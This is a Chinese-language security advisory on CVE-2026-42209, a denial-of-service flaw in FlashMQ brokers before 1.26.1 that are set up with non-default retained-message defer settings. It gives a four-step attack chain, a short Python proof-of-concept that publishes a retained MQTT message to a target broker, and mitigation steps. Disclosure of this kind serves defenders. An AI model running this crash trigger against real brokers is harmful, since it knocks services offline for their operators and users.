IPBUF安全漏洞报告
English
CVE-2026-42209 CVSS 6.5 中危

CVE-2026-42209 FlashMQ拒绝服务漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42209
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FlashMQ

相关标签

拒绝服务DoSMQTTFlashMQCVE-2026-42209

漏洞概述

FlashMQ是一款多CPU环境的MQTT服务器。在1.26.1版本之前,当特定配置项被设置为非默认值时,拥有保留发布权限的远程客户端可导致Broker崩溃,造成拒绝服务。若允许匿名发布,攻击无需认证。

技术细节

该漏洞的根源在于FlashMQ在特定配置下处理保留消息(Retained Messages)时的调度逻辑存在缺陷。当管理员将`set_retained_message_defer_timeout`与`set_retained_message_defer_timeout_spread`这两个参数配置为非默认值时,Broker内部的定时器管理机制会出现异常。攻击者只需向Broker发送一个设置了retain标志的MQTT PUBLISH数据包,即可触发该漏洞。如果服务器配置为允许匿名保留发布,攻击者无需任何身份验证即可利用此缺陷。成功利用后,FlashMQ进程会因为未处理的异常或内存访问错误而崩溃,导致服务中断,实现拒绝服务攻击。

攻击链分析

STEP 1
1. 侦察
扫描网络发现开放的MQTT服务端口(默认1883),识别目标是否为FlashMQ。
STEP 2
2. 验证配置
尝试匿名连接并发布消息,判断服务器是否允许匿名保留发布。
STEP 3
3. 漏洞利用
构造MQTT PUBLISH包,将retain标志设为true,并发送至Broker。
STEP 4
4. 拒绝服务
FlashMQ处理该异常保留消息时崩溃,服务停止,所有连接断开。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paho.mqtt.client as mqtt import time # Configuration for the target FlashMQ broker # Note: The target must have non-default defer timeout settings TARGET_BROKER = "192.168.1.100" TARGET_PORT = 1883 TOPIC = "vulnerable/topic/retained" PAYLOAD = "Trigger_Crash" def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") # Sending a retained message to trigger the DoS client.publish(TOPIC, PAYLOAD, qos=0, retain=True) print("PoC sent: Retained message published.") def main(): client = mqtt.Client(client_id="PoC_Attacker") client.on_connect = on_connect try: # Connect to the broker client.connect(TARGET_BROKER, TARGET_PORT, 60) client.loop_forever() except Exception as e: print(f"Exception occurred: {e}") if __name__ == "__main__": main()

影响范围

FlashMQ < 1.26.1

防御指南

临时缓解措施
如无法立即升级,建议将`set_retained_message_defer_timeout`和`set_retained_message_defer_timeout_spread`配置恢复为默认值,并严格禁止匿名客户端进行保留消息发布操作。

参考链接